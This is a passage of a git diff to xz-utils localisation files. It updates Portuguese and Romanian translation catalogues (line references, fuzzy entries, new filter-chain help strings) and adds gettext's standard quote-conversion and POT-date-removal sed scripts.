obrigatórios para opções longas também o são para opções curtas.\n" -#: src/xz/message.c:972 +#: src/xz/message.c:953 msgid " Operation mode:\n" msgstr " Modo de operação:\n" -#: src/xz/message.c:975 +#: src/xz/message.c:956 msgid "" " -z, --compress force compression\n" " -d, --decompress force decompression\n" @@ -645,7 +707,7 @@ msgstr "" " -t, --test testa a integridade do arquivo comprimido\n" " -l, --list lista informações sobre arquivos .xz" -#: src/xz/message.c:981 +#: src/xz/message.c:962 msgid "" "\n" " Operation modifiers:\n" @@ -653,7 +715,7 @@ msgstr "" "\n" " Modificadores de opções:\n" -#: src/xz/message.c:984 +#: src/xz/message.c:965 msgid "" " -k, --keep keep (don't delete) input files\n" " -f, --force force overwrite of output file and (de)compress links\n" @@ -665,7 +727,7 @@ msgstr "" " -c, --stdout escreve a entrada padrão e não exclui os arquivos\n" " de entrada" -#: src/xz/message.c:993 +#: src/xz/message.c:974 msgid "" " --single-stream decompress only the first stream, and silently\n" " ignore possible remaining input data" @@ -673,10 +735,18 @@ msgstr "" " --single-stream descomprime apenas o primeiro fluxo, e ignora de forma\n" " silenciosa possíveis dados de entrada restantes" -#: src/xz/message.c:996 +#: src/xz/message.c:977 +#, fuzzy +#| msgid "" +#| " --no-sparse do not create sparse files when decompressing\n" +#| " -S, --suffix=.SUF use the suffix `.SUF' on compressed files\n" +#| " --files[=FILE] read filenames to process from FILE; if FILE is\n" +#| " omitted, filenames are read from the standard input;\n" +#| " filenames must be terminated with the newline character\n" +#| " --files0[=FILE] like --files but use the null character as terminator" msgid "" " --no-sparse do not create sparse files when decompressing\n" -" -S, --suffix=.SUF use the suffix `.SUF' on compressed files\n" +" -S, --suffix=.SUF use the suffix '.SUF' on compressed files\n" " --files[=FILE] read filenames to process from FILE; if FILE is\n" " omitted, filenames are read from the standard input;\n" " filenames must be terminated with the newline character\n" @@ -693,7 +763,7 @@ msgstr "" " similar a --files, mas usa o caractere nulo como\n" " terminador" -#: src/xz/message.c:1005 +#: src/xz/message.c:986 msgid "" "\n" " Basic file format and compression options:\n" @@ -701,12 +771,18 @@ msgstr "" "\n" " Opções básicas de formato de arquivo e compressão:\n" -#: src/xz/message.c:1007 +#: src/xz/message.c:988 +#, fuzzy +#| msgid "" +#| " -F, --format=FMT file format to encode or decode; possible values are\n" +#| " `auto' (default), `xz', `lzma', `lzip', and `raw'\n" +#| " -C, --check=CHECK integrity check type: `none' (use with caution),\n" +#| " `crc32', `crc64' (default), or `sha256'" msgid "" " -F, --format=FMT file format to encode or decode; possible values are\n" -" `auto' (default), `xz', `lzma', `lzip', and `raw'\n" -" -C, --check=CHECK integrity check type: `none' (use with caution),\n" -" `crc32', `crc64' (default), or `sha256'" +" 'auto' (default), 'xz', 'lzma', 'lzip', and 'raw'\n" +" -C, --check=CHECK integrity check type: 'none' (use with caution),\n" +" 'crc32', 'crc64' (default), or 'sha256'" msgstr "" " -F, --format=FMT formato de arquivo para codificar ou decodificar;\n" " valores possíveis são\n" @@ -714,11 +790,11 @@ msgstr "" " -C, --check=VERIF tipo de verificação de integridade: \"none\" (cuidado!),\n" " \"crc32\", \"crc64\" (padrão) ou \"sha256\"" -#: src/xz/message.c:1012 +#: src/xz/message.c:993 msgid " --ignore-check don't verify the integrity check when decompressing" msgstr " --ignore-check não faz a verificação de integridade ao descomprimir" -#: src/xz/message.c:1016 +#: src/xz/message.c:997 msgid "" " -0 ... -9 compression preset; default is 6; take compressor *and*\n" " decompressor memory usage into account before using 7-9!" @@ -727,7 +803,7 @@ msgstr "" " memória do compressor *e* descompressor em conta\n" " antes de usar 7-9!" -#: src/xz/message.c:1020 +#: src/xz/message.c:1001 msgid "" " -e, --extreme try to improve compression ratio by using more CPU time;\n" " does not affect decompressor memory requirements" @@ -736,16 +812,20 @@ msgstr "" " tempo de CPU; não afeta os requisitos de memória do\n" " descompressor" -#: src/xz/message.c:1024 +#: src/xz/message.c:1005 +#, fuzzy +#| msgid "" +#| " -T, --threads=NUM use at most NUM threads; the default is 1; set to 0\n" +#| " to use as many threads as there are processor cores" msgid "" -" -T, --threads=NUM use at most NUM threads; the default is 1; set to 0\n" -" to use as many threads as there are processor cores" +" -T, --threads=NUM use at most NUM threads; the default is 0 which uses\n" +" as many threads as there are processor cores" msgstr "" " -T, --threads=NÚM usa no máximo NÚM threads; o padrão é 1; defina para\n" " 0 para usar o máximo de threads que há de núcleos de\n" " processador" -#: src/xz/message.c:1029 +#: src/xz/message.c:1010 msgid "" " --block-size=SIZE\n" " start a new .xz block after every SIZE bytes of input;\n" @@ -756,17 +836,24 @@ msgstr "" " use isso para definido o tamanho de bloco para\n" " compressão com threads" -#: src/xz/message.c:1033 +#: src/xz/message.c:1014 +#, fuzzy +#| msgid "" +#| " --block-list=SIZES\n" +#| " start a new .xz block after the given comma-separated\n" +#| " intervals of uncompressed data" msgid "" -" --block-list=SIZES\n" +" --block-list=BLOCKS\n" " start a new .xz block after the given comma-separated\n" -" intervals of uncompressed data" +" intervals of uncompressed data; optionally, specify a\n" +" filter chain number (0-9) followed by a ':' before the\n" +" uncompressed data size" msgstr "" " --block-list=TAM\n" " inicia um novo bloco .xz após os intervalos dados,\n" " separados por vírgula, de dados descomprimidos" -#: src/xz/message.c:1037 +#: src/xz/message.c:1020 msgid "" " --flush-timeout=TIMEOUT\n" " when compressing, if more than TIMEOUT milliseconds has\n" @@ -779,7 +866,7 @@ msgstr "" " de mais entrada bloquearia, todos os dados pendentes\n" " serão liberados" -#: src/xz/message.c:1043 +#: src/xz/message.c:1026 #, no-c-format msgid "" " --memlimit-compress=LIMIT\n" @@ -798,7 +885,7 @@ msgstr "" " descompressão, compactação em threads ou todas essas;\n" " LIMITE é em bytes, % de RAM ou 0 para padrões" -#: src/xz/message.c:1052 +#: src/xz/message.c:1035 msgid "" " --no-adjust if compression settings exceed the memory usage limit,\n" " give an error instead of adjusting the settings downwards" @@ -807,7 +894,7 @@ msgstr "" " de uso de memória, fornece um erro em vez de\n" " ajustar as configurações para baixo" -#: src/xz/message.c:1058 +#: src/xz/message.c:1041 msgid "" "\n" " Custom filter chain for compression (alternative for using presets):" @@ -815,6 +902,26 @@ msgstr "" "\n" " Cadeia de filtros personalizada para compressão (alternativa à predefinição):" +#: src/xz/message.c:1044 +msgid "" +"\n" +" --filters=FILTERS set the filter chain using the liblzma filter string\n" +" syntax; use --filters-help for more information" +msgstr "" + +#: src/xz/message.c:1050 +msgid "" +" --filters1=FILTERS ... --filters9=FILTERS\n" +" set additional filter chains using the liblzma filter\n" +" string syntax to use with --block-list" +msgstr "" + +#: src/xz/message.c:1056 +msgid "" +" --filters-help display more information about the liblzma filter string\n" +" syntax and exit." +msgstr "" + #: src/xz/message.c:1067 msgid "" "\n" @@ -846,6 +953,18 @@ msgstr "" " 0=automatic (padrão)" #: src/xz/message.c:1082 +#, fuzzy +#| msgid "" +#| "\n" +#| " --x86[=OPTS] x86 BCJ filter (32-bit and 64-bit)\n" +#| " --arm[=OPTS] ARM BCJ filter\n" +#| " --armthumb[=OPTS] ARM-Thumb BCJ filter\n" +#| " --arm64[=OPTS] ARM64 BCJ filter\n" +#| " --powerpc[=OPTS] PowerPC BCJ filter (big endian only)\n" +#| " --ia64[=OPTS] IA-64 (Itanium) BCJ filter\n" +#| " --sparc[=OPTS] SPARC BCJ filter\n" +#| " Valid OPTS for all BCJ filters:\n" +#| " start=NUM start offset for conversions (default=0)" msgid "" "\n" " --x86[=OPTS] x86 BCJ filter (32-bit and 64-bit)\n" @@ -855,6 +974,7 @@ msgid "" " --powerpc[=OPTS] PowerPC BCJ filter (big endian only)\n" " --ia64[=OPTS] IA-64 (Itanium) BCJ filter\n" " --sparc[=OPTS] SPARC BCJ filter\n" +" --riscv[=OPTS] RISC-V BCJ filter\n" " Valid OPTS for all BCJ filters:\n" " start=NUM start offset for conversions (default=0)" msgstr "" @@ -870,7 +990,7 @@ msgstr "" " start=NUM deslocamento inicial para conversões\n" " (padrão=0)" -#: src/xz/message.c:1095 +#: src/xz/message.c:1096 msgid "" "\n" " --delta[=OPTS] Delta filter; valid OPTS (valid values; default):\n" @@ -882,7 +1002,7 @@ msgstr "" " dist=NÚM distância entre bytes sendo subtraído\n" " de cada um (1-256; 1)" -#: src/xz/message.c:1103 +#: src/xz/message.c:1104 msgid "" "\n" " Other options:\n" @@ -890,7 +1010,7 @@ msgstr "" "\n" " Outras opções:\n" -#: src/xz/message.c:1106 +#: src/xz/message.c:1107 msgid "" " -q, --quiet suppress warnings; specify twice to suppress errors too\n" " -v, --verbose be verbose; specify twice for even more verbose" @@ -898,15 +1018,15 @@ msgstr "" " -q, --quiet suprime avisos, use duas vezes para suprimir erros também\n" " -v, --verbose ser detalhado; use duas vezes para ainda mais detalhes" -#: src/xz/message.c:1111 +#: src/xz/message.c:1112 msgid " -Q, --no-warn make warnings not affect the exit status" msgstr " -Q, --no-warn faz os avisos não afetarem o status de saída" -#: src/xz/message.c:1113 +#: src/xz/message.c:1114 msgid " --robot use machine-parsable messages (useful for scripts)" msgstr " --robot usa mensagens analisáveis por máquina (útil p/ scripts)" -#: src/xz/message.c:1116 +#: src/xz/message.c:1117 msgid "" " --info-memory display the total amount of RAM and the currently active\n" " memory usage limits, and exit" @@ -914,7 +1034,7 @@ msgstr "" " --info-memory exibe a quantidade total de RAM e os limites de uso\n" " de memória atualmente ativos e sai" -#: src/xz/message.c:1119 +#: src/xz/message.c:1120 msgid "" " -h, --help display the short help (lists only the basic options)\n" " -H, --long-help display this long help and exit" @@ -922,7 +1042,7 @@ msgstr "" " -h, --help exibe a ajuda curto (lista apenas as opções básicas)\n" " -H, --long-help exibe essa ajuda longa e sai" -#: src/xz/message.c:1123 +#: src/xz/message.c:1124 msgid "" " -h, --help display this short help and exit\n" " -H, --long-help display the long help (lists also the advanced options)" @@ -930,11 +1050,12 @@ msgstr "" " -h, --help exibe essa ajuda curta e sai\n" " -H, --long-help exibe a ajuda longa (lista também as opções avançadas)" -#: src/xz/message.c:1128 +#: src/xz/message.c:1129 msgid " -V, --version display the version number and exit" msgstr " -V, --version exibe o número de versão e sai" -#: src/xz/message.c:1130 +#: src/xz/message.c:1131 src/lzmainfo/lzmainfo.c:37 +#, c-format msgid "" "\n" "With no FILE, or when FILE is -, read standard input.\n" @@ -946,33 +1067,48 @@ msgstr "" #. for this package. Please add _another line_ saying #. "Report translation bugs to <...>\n" with the email or WWW #. address for translation bugs. Thanks. -#: src/xz/message.c:1136 +#: src/xz/message.c:1137 src/lzmainfo/lzmainfo.c:40 #, c-format msgid "Report bugs to <%s> (in English or Finnish).\n" msgstr "" "Relate erros para <%s> (em inglês ou finlandês).\n" "Relate erros de tradução para .\n" -#: src/xz/message.c:1138 +#: src/xz/message.c:1139 src/lzmainfo/lzmainfo.c:42 #, c-format msgid "%s home page: <%s>\n" msgstr "Site do %s: <%s>\n" -#: src/xz/message.c:1142 +#: src/xz/message.c:1143 msgid "THIS IS A DEVELOPMENT VERSION NOT INTENDED FOR PRODUCTION USE." msgstr "ESSA É UMA VERSÃO DE DESENVOLVIMENTO, NÃO DESTINADA PARA USO EM PRODUÇÃO." -#: src/xz/options.c:86 -#, c-format -msgid "%s: Options must be `name=value' pairs separated with commas" +#: src/xz/message.c:1160 +msgid "" +"Filter chains are set using the --filters=FILTERS or\n" +"--filters1=FILTERS ... --filters9=FILTERS options. Each filter in the chain\n" +"can be separated by spaces or '--'. Alternatively a preset <0-9>[e] can be\n" +"specified instead of a filter chain.\n" +msgstr "" + +#: src/xz/message.c:1166 +#, fuzzy +#| msgid "Unsupported filter chain or filter options" +msgid "The supported filters and their options are:" +msgstr "Opções de filtro ou cadeia de filtros sem suporte" + +#: src/xz/options.c:85 +#, fuzzy, c-format +#| msgid "%s: Options must be `name=value' pairs separated with commas" +msgid "%s: Options must be 'name=value' pairs separated with commas" msgstr "%s: As opções devem ser pares \"nome=valor\" separados por vírgulas" -#: src/xz/options.c:93 +#: src/xz/options.c:92 #, c-format msgid "%s: Invalid option name" msgstr "%s: Nome de opção inválido" -#: src/xz/options.c:113 +#: src/xz/options.c:112 #, c-format msgid "%s: Invalid option value" msgstr "%s: Valor de opção inválido" @@ -986,61 +1122,80 @@ msgstr "Predefinição LZMA1/LZMA2 sem suporte: %s" msgid "The sum of lc and lp must not exceed 4" msgstr "A soma de lc e lp não deve exceder 4" -#: src/xz/suffix.c:137 src/xz/suffix.c:268 -#, c-format -msgid "%s: With --format=raw, --suffix=.SUF is required unless writing to stdout" -msgstr "%s: Com --format=raw, --suffix=.SUF é exigido, a menos que esteja escrevendo para stdout" - -#: src/xz/suffix.c:168 +#: src/xz/suffix.c:165 #, c-format msgid "%s: Filename has an unknown suffix, skipping" msgstr "%s: O nome de arquivo tem um sufixo desconhecido, ignorando" -#: src/xz/suffix.c:189 -#, c-format -msgid "%s: File already has `%s' suffix, skipping" +#: src/xz/suffix.c:186 +#, fuzzy, c-format +#| msgid "%s: File already has `%s' suffix, skipping" +msgid "%s: File already has '%s' suffix, skipping" msgstr "%s: O arquivo já tem o sufixo \"%s\", ignorando" -#: src/xz/suffix.c:405 +#: src/xz/suffix.c:393 #, c-format msgid "%s: Invalid filename suffix" msgstr "%s: Sufixo de nome de arquivo inválido" -#: src/xz/util.c:71 +#: src/xz/util.c:106 #, c-format msgid "%s: Value is not a non-negative decimal integer" msgstr "%s: O valor não é um inteiro integral decimal" -#: src/xz/util.c:113 +#: src/xz/util.c:148 #, c-format msgid "%s: Invalid multiplier suffix" msgstr "%s: Sufixo multiplicador inválido" -#: src/xz/util.c:115 -msgid "Valid suffixes are `KiB' (2^10), `MiB' (2^20), and `GiB' (2^30)." +#: src/xz/util.c:150 +#, fuzzy +#| msgid "Valid suffixes are `KiB' (2^10), `MiB' (2^20), and `GiB' (2^30)." +msgid "Valid suffixes are 'KiB' (2^10), 'MiB' (2^20), and 'GiB' (2^30)." msgstr "Sufixos válidos são \"KiB\" (2^10), \"MiB\" (2^20) e \"GiB\" (2^30)." -#: src/xz/util.c:132 -#, c-format -msgid "Value of the option `%s' must be in the range [%, %]" +#: src/xz/util.c:167 +#, fuzzy, c-format +#| msgid "Value of the option `%s' must be in the range [%, %]" +msgid "Value of the option '%s' must be in the range [%, %]" msgstr "O valor da opção \"%s\" deve estar no intervalo [%, %]" -#: src/xz/util.c:269 +#: src/xz/util.c:290 msgid "Compressed data cannot be read from a terminal" msgstr "Dados comprimidos não podem ser lidos de um terminal" -#: src/xz/util.c:282 +#: src/xz/util.c:303 msgid "Compressed data cannot be written to a terminal" msgstr "Dados comprimidos não podem ser escrito para um terminal" -#: src/common/tuklib_exit.c:40 +#: src/lzmainfo/lzmainfo.c:33 +#, c-format +msgid "" +"Usage: %s [--help] [--version] [FILE]...\n" +"Show information stored in the .lzma file header" +msgstr "" + +#: src/lzmainfo/lzmainfo.c:109 +#, fuzzy +#| msgid "%s: Too small to be a valid .xz file" +msgid "File is too small to be a .lzma file" +msgstr "%s: Pequeno demais para ser um arquivo .xz válido" + +#: src/lzmainfo/lzmainfo.c:122 +msgid "Not a .lzma file" +msgstr "" + +#: src/common/tuklib_exit.c:39 msgid "Writing to standard output failed" msgstr "A escrita para a saída padrão falhou" -#: src/common/tuklib_exit.c:43 +#: src/common/tuklib_exit.c:42 msgid "Unknown error" msgstr "Erro desconhecido" +#~ msgid "Failed to enable the sandbox" +#~ msgstr "Falha ao habilitar o sandbox" + #~ msgid "Sandbox is disabled due to incompatible command line arguments" #~ msgstr "Sandbox está desabilitado em razão de argumentos de linha de comando incompatíveis" diff --git a/po/quot.sed b/po/quot.sed new file mode 100644 index 00000000..0122c463 --- /dev/null +++ b/po/quot.sed @@ -0,0 +1,6 @@ +s/"\([^"]*\)"/“\1”/g +s/`\([^`']*\)'/‘\1’/g +s/ '\([^`']*\)' / ‘\1’ /g +s/ '\([^`']*\)'$/ ‘\1’/g +s/^'\([^`']*\)' /‘\1’ /g +s/“”/""/g diff --git a/po/remove-potcdate.sin b/po/remove-potcdate.sin new file mode 100644 index 00000000..8c70dfbf --- /dev/null +++ b/po/remove-potcdate.sin @@ -0,0 +1,25 @@ +# Sed script that removes the POT-Creation-Date line in the header entry +# from a POT file. +# +# Copyright (C) 2002 Free Software Foundation, Inc. +# Copying and distribution of this file, with or without modification, +# are permitted in any medium without royalty provided the copyright +# notice and this notice are preserved. This file is offered as-is, +# without any warranty. +# +# The distinction between the first and the following occurrences of the +# pattern is achieved by looking at the hold space. +/^"POT-Creation-Date: .*"$/{ +x +# Test if the hold space is empty. +s/P/P/ +ta +# Yes it was empty. First occurrence. Remove the line. +g +d +bb +:a +# The hold space was nonempty. Following occurrences. Do nothing. +x +:b +} diff --git a/po/ro.gmo b/po/ro.gmo new file mode 100644 index 00000000..17891483 Binary files /dev/null and b/po/ro.gmo differ diff --git a/po/ro.po b/po/ro.po index 1ddcd041..b0d9f071 100644 --- a/po/ro.po +++ b/po/ro.po @@ -22,7 +22,7 @@ msgid "" msgstr "" "Project-Id-Version: xz 5.6.0-pre2\n" "Report-Msgid-Bugs-To: xz@tukaani.org\n" -"POT-Creation-Date: 2024-02-15 01:57+0800\n" +"POT-Creation-Date: 2024-02-24 16:31+0800\n" "PO-Revision-Date: 2024-02-16 13:27+0100\n" "Last-Translator: Remus-Gabriel Chelu \n" "Language-Team: Romanian \n" @@ -71,8 +71,8 @@ msgstr "Numai un fișier poate fi specificat cu „--files” sau „--files0” #. string because French needs a space #. before the colon ("%s : %s"). #: src/xz/args.c:621 src/xz/coder.c:1058 src/xz/coder.c:1074 -#: src/xz/coder.c:1374 src/xz/coder.c:1377 src/xz/file_io.c:685 -#: src/xz/file_io.c:759 src/xz/file_io.c:849 src/xz/file_io.c:1020 +#: src/xz/coder.c:1374 src/xz/coder.c:1377 src/xz/file_io.c:518 +#: src/xz/file_io.c:592 src/xz/file_io.c:682 src/xz/file_io.c:854 #: src/xz/list.c:368 src/xz/list.c:414 src/xz/list.c:476 src/xz/list.c:590 #: src/xz/list.c:599 #, c-format @@ -207,16 +207,12 @@ msgstr "S-a ajustat dimensiunea dicționarului LZMA%c pentru „--filters%u” d msgid "Error changing to filter chain %u: %s" msgstr "Eroare la schimbarea lanțului de filtrare %u: %s" -#: src/xz/file_io.c:136 src/xz/file_io.c:144 +#: src/xz/file_io.c:122 src/xz/file_io.c:130 #, c-format msgid "Error creating a pipe: %s" msgstr "Eroare la crearea unei conducte: %s" -#: src/xz/file_io.c:332 -msgid "Failed to enable the sandbox" -msgstr "Nu s-a reușit activarea cutiei de probă(sandbox)" - -#: src/xz/file_io.c:374 +#: src/xz/file_io.c:207 #, c-format msgid "%s: poll() failed: %s" msgstr "%s: poll() a eșuat: %s" @@ -231,111 +227,111 @@ msgstr "%s: poll() a eșuat: %s" #. it is possible that the user has put a new file in place #. of the original file, and in that case it obviously #. shouldn't be removed. -#: src/xz/file_io.c:441 +#: src/xz/file_io.c:274 #, c-format msgid "%s: File seems to have been moved, not removing" msgstr "%s: Fișierul pare să fi fost mutat, nu eliminat" -#: src/xz/file_io.c:448 src/xz/file_io.c:1004 +#: src/xz/file_io.c:281 src/xz/file_io.c:838 #, c-format msgid "%s: Cannot remove: %s" msgstr "%s: Nu se poate elimina: %s" -#: src/xz/file_io.c:474 +#: src/xz/file_io.c:307 #, c-format msgid "%s: Cannot set the file owner: %s" msgstr "%s: Nu se poate configura proprietarul fișierului: %s" -#: src/xz/file_io.c:487 +#: src/xz/file_io.c:320 #, c-format msgid "%s: Cannot set the file group: %s" msgstr "%s: Nu se poate configura grupul proprietar al fișierului: %s" -#: src/xz/file_io.c:506 +#: src/xz/file_io.c:339 #, c-format msgid "%s: Cannot set the file permissions: %s" msgstr "%s: Nu se pot configura permisiunile fișierului: %s" -#: src/xz/file_io.c:632 +#: src/xz/file_io.c:465 #, c-format msgid "Error getting the file status flags from standard input: %s" msgstr "Eroare la obținerea indicatorilor de stare a fișierului de la intrarea standard: %s" -#: src/xz/file_io.c:690 src/xz/file_io.c:752 +#: src/xz/file_io.c:523 src/xz/file_io.c:585 #, c-format msgid "%s: Is a symbolic link, skipping" msgstr "%s: Este o legătură simbolică, se omite" -#: src/xz/file_io.c:781 +#: src/xz/file_io.c:614 #, c-format msgid "%s: Is a directory, skipping" msgstr "%s: Este un director, se omite" -#: src/xz/file_io.c:787 +#: src/xz/file_io.c:620 #, c-format msgid "%s: Not a regular file, skipping" msgstr "%s: Nu este un fișier obișnuit, se omite" -#: src/xz/file_io.c:804 +#: src/xz/file_io.c:637 #, c-format msgid "%s: File has setuid or setgid bit set, skipping" msgstr "%s: Fișierul are activați biții «setuid» sau «setgid», se omite" -#: src/xz/file_io.c:811 +#: src/xz/file_io.c:644 #, c-format msgid "%s: File has sticky bit set, skipping" msgstr "%s: Fișierul are activat bitul lipicios(sticky), se omite" -#: src/xz/file_io.c:818 +#: src/xz/file_io.c:651 #, c-format msgid "%s: Input file has more than one hard link, skipping" msgstr "%s: Fișierul de intrare are mai mult de o legătură dură, se omite" -#: src/xz/file_io.c:860 +#: src/xz/file_io.c:693 msgid "Empty filename, skipping" msgstr "Numele fișierului este gol, se omite" -#: src/xz/file_io.c:914 +#: src/xz/file_io.c:748 #, c-format msgid "Error restoring the status flags to standard input: %s" msgstr "Eroare la restabilirea indicatorilor de stare la intrarea standard: %s" -#: src/xz/file_io.c:962 +#: src/xz/file_io.c:796 #, c-format msgid "Error getting the file status flags from standard output: %s" msgstr "Eroare la obținerea indicatorilor de stare a fișierului de la ieșirea standard: %s" -#: src/xz/file_io.c:1161 +#: src/xz/file_io.c:995 #, c-format msgid "Error restoring the O_APPEND flag to standard output: %s" msgstr "Eroare la restabilirea indicatorului O_APPEND la ieșirea standard: %s" -#: src/xz/file_io.c:1173 +#: src/xz/file_io.c:1007 #, c-format msgid "%s: Closing the file failed: %s" msgstr "%s: Închiderea fișierului a eșuat: %s" -#: src/xz/file_io.c:1209 src/xz/file_io.c:1471 +#: src/xz/file_io.c:1043 src/xz/file_io.c:1305 #, c-format msgid "%s: Seeking failed when trying to create a sparse file: %s" msgstr "%s: Căutarea a eșuat când se încerca crearea unui fișier dispers(sparse): %s" -#: src/xz/file_io.c:1309 +#: src/xz/file_io.c:1143 #, c-format msgid "%s: Read error: %s" msgstr "%s: Eroare de citire: %s" -#: src/xz/file_io.c:1339 +#: src/xz/file_io.c:1173 #, c-format msgid "%s: Error seeking the file: %s" msgstr "%s: Eroare la căutarea fișierului: %s" -#: src/xz/file_io.c:1363 +#: src/xz/file_io.c:1197 #, c-format msgid "%s: Unexpected end of file" msgstr "%s: Sfârșit neașteptat al fișierului" -#: src/xz/file_io.c:1422 +#: src/xz/file_io.c:1256 #, c-format msgid "%s: Write error: %s" msgstr "%s: Eroare de scriere: %s" @@ -606,12 +602,12 @@ msgstr "Încercați «lzmainfo» cu fișiere .lzma." msgid "--list does not support reading from standard input" msgstr "--list nu acceptă citirea de la intrarea standard" -#: src/xz/main.c:95 +#: src/xz/main.c:89 #, c-format msgid "%s: Error reading filenames: %s" msgstr "%s: Eroare la citirea numelor de fișiere: %s" -#: src/xz/main.c:102 +#: src/xz/main.c:96 #, c-format msgid "%s: Unexpected end of input when reading filenames" msgstr "%s: Sfârșit neașteptat al intrării la citirea numelor de fișiere" @@ -624,16 +620,16 @@ msgstr "%s: Sfârșit neașteptat al intrării la citirea numelor de fișiere" # - pagina în cauză e construită, alimentată și menținută de persoane voluntare, precum noi ca traducători de software. # - intrările pentru definiția cuvîntului „nul”, sînt extrase din dicționare de uz general; niciuna dintre ele, nu a ieșit dintr-un dicționar tehnic, cu atît mai puțin unul de informatică. # - utilizatorul software-ului «xz», direct de la linia de comandă, mă îndoiesc că va fi un utilizator ce nu este familiarizat cu nomenclatura din informatică (pentru restul utilizatorilor, acest mesaj nu va fi vizibil, pentru că-l vor utiliza din spatele unui software „IGU” «InterfațăGrafică(de)Utilizator» -#: src/xz/main.c:126 +#: src/xz/main.c:120 #, c-format msgid "%s: Null character found when reading filenames; maybe you meant to use '--files0' instead of '--files'?" msgstr "%s: Caracter nul(null) găsit la citirea numelor de fișiere; poate ați vrut să utilizați „--files0” în loc de „--files”?" -#: src/xz/main.c:206 +#: src/xz/main.c:191 msgid "Compression and decompression with --robot are not supported yet." msgstr "Comprimarea și decomprimarea cu „--robot” nu sunt încă acceptate." -#: src/xz/main.c:284 +#: src/xz/main.c:289 msgid "Cannot read data from standard input when reading filenames from standard input" msgstr "Nu se pot citi date de la intrarea standard atunci când se citesc numele de fișiere de la intrarea standard" @@ -641,68 +637,68 @@ msgstr "Nu se pot citi date de la intrarea standard atunci când se citesc numel #. of the line in messages. Usually it becomes "xz: ". #. This is a translatable string because French needs #. a space before a colon. -#: src/xz/message.c:670 src/xz/message.c:725 +#: src/xz/message.c:651 src/xz/message.c:706 #, c-format msgid "%s: " msgstr "%s: " -#: src/xz/message.c:797 src/xz/message.c:856 src/lzmainfo/lzmainfo.c:131 +#: src/xz/message.c:778 src/xz/message.c:837 src/lzmainfo/lzmainfo.c:131 msgid "Internal error (bug)" msgstr "Eroare internă (bug)" -#: src/xz/message.c:804 +#: src/xz/message.c:785 msgid "Cannot establish signal handlers" msgstr "Nu se pot stabili operatorii de semnal" -#: src/xz/message.c:813 +#: src/xz/message.c:794 msgid "No integrity check; not verifying file integrity" msgstr "Fără verificare a integrității; nu se verifică integritatea fișierului" -#: src/xz/message.c:816 +#: src/xz/message.c:797 msgid "Unsupported type of integrity check; not verifying file integrity" msgstr "Tip neacceptat de verificare a integrității; nu se verifică integritatea fișierului" -#: src/xz/message.c:823 +#: src/xz/message.c:804 msgid "Memory usage limit reached" msgstr "Limita de utilizare a memoriei a fost atinsă" -#: src/xz/message.c:826 +#: src/xz/message.c:807 msgid "File format not recognized" msgstr "Formatul fișierului nu este recunoscut" -#: src/xz/message.c:829 +#: src/xz/message.c:810 msgid "Unsupported options" msgstr "Opțiuni neacceptate" -#: src/xz/message.c:832 +#: src/xz/message.c:813 msgid "Compressed data is corrupt" msgstr "Datele comprimate sunt corupte" -#: src/xz/message.c:835 +#: src/xz/message.c:816 msgid "Unexpected end of input" msgstr "Sfârșit neașteptat al intrării" -#: src/xz/message.c:877 +#: src/xz/message.c:858 #, c-format msgid "%s MiB of memory is required. The limiter is disabled." msgstr "Se necesită %sMio de memorie. Limitarea este dezactivată." -#: src/xz/message.c:905 +#: src/xz/message.c:886 #, c-format msgid "%s MiB of memory is required. The limit is %s." msgstr "Se necesită %sMio de memorie. Limita este de %s." -#: src/xz/message.c:924 +#: src/xz/message.c:905 #, c-format msgid "%s: Filter chain: %s\n" msgstr "%s: Lanț de filtre: %s\n" -#: src/xz/message.c:935 +#: src/xz/message.c:916 #, c-format msgid "Try '%s --help' for more information." msgstr "Încercați «%s --help» pentru mai multe informații." -#: src/xz/message.c:961 +#: src/xz/message.c:942 #, c-format msgid "" "Usage: %s [OPTION]... [FILE]...\n" @@ -713,17 +709,17 @@ msgstr "" "Comprimă sau decomprimă FIȘIER(e) în formatul .xz.\n" "\n" -#: src/xz/message.c:968 +#: src/xz/message.c:949 msgid "Mandatory arguments to long options are mandatory for short options too.\n" msgstr "" "Argumentele obligatorii pentru opțiunile lungi sunt obligatorii și\n" "pentru opțiunile scurte.\n" -#: src/xz/message.c:972 +#: src/xz/message.c:953 msgid " Operation mode:\n" msgstr " Mod de operare:\n" -#: src/xz/message.c:975 +#: src/xz/message.c:956 msgid "" " -z, --compress force compression\n" " -d, --decompress force decompression\n" @@ -735,7 +731,7 @@ msgstr "" " -t, --test testează integritatea fișierului comprimat\n" " -l, --list listează informații despre fișierele .xz" -#: src/xz/message.c:981 +#: src/xz/message.c:962 msgid "" "\n" " Operation modifiers:\n" @@ -743,7 +739,7 @@ msgstr "" "\n" " Modificatori de operare:\n" -#: src/xz/message.c:984 +#: src/xz/message.c:965 msgid "" " -k, --keep keep (don't delete) input files\n" " -f, --force force overwrite of output file and (de)compress links\n" @@ -755,7 +751,7 @@ msgstr "" " -c, --stdout scrie la ieșirea standard și nu șterge fișierele de\n" " intrare" -#: src/xz/message.c:993 +#: src/xz/message.c:974 msgid "" " --single-stream decompress only the first stream, and silently\n" " ignore possible remaining input data" @@ -763,7 +759,7 @@ msgstr "" " --single-stream decomprimă doar primul flux și ignoră în tăcere\n" " posibilele date de intrare rămase" -#: src/xz/message.c:996 +#: src/xz/message.c:977 msgid "" " --no-sparse do not create sparse files when decompressing\n" " -S, --suffix=.SUF use the suffix '.SUF' on compressed files\n" @@ -782,7 +778,7 @@ msgstr "" " --files0[=FIȘIER]\n" " ca „--files”, dar folosește caracterul null ca terminator" -#: src/xz/message.c:1005 +#: src/xz/message.c:986 msgid "" "\n" " Basic file format and compression options:\n" @@ -790,7 +786,7 @@ msgstr "" "\n" " Formatul de bază al fișierului și opțiunile de comprimare:\n" -#: src/xz/message.c:1007 +#: src/xz/message.c:988 msgid "" " -F, --format=FMT file format to encode or decode; possible values are\n" " 'auto' (default), 'xz', 'lzma', 'lzip', and 'raw'\n" @@ -806,11 +802,11 @@ msgstr "" " cu precauție), „crc32”, „crc64” (implicit) sau\n" " „sha256”" -#: src/xz/message.c:1012 +#: src/xz/message.c:993 msgid " --ignore-check don't verify the integrity check when decompressing" msgstr " --ignore-check nu se efectuează verificarea integrității la decomprimare" -#: src/xz/message.c:1016 +#: src/xz/message.c:997 msgid "" " -0 ... -9 compression preset; default is 6; take compressor *and*\n" " decompressor memory usage into account before using 7-9!" @@ -820,7 +816,7 @@ msgstr "" " comprimare *și* de instrumentul de decomprimare, înainte\n" " de a utiliza presetările 7-9!" -#: src/xz/message.c:1020 +#: src/xz/message.c:1001 msgid "" " -e, --extreme try to improve compression ratio by using more CPU time;\n" " does not affect decompressor memory requirements" @@ -829,7 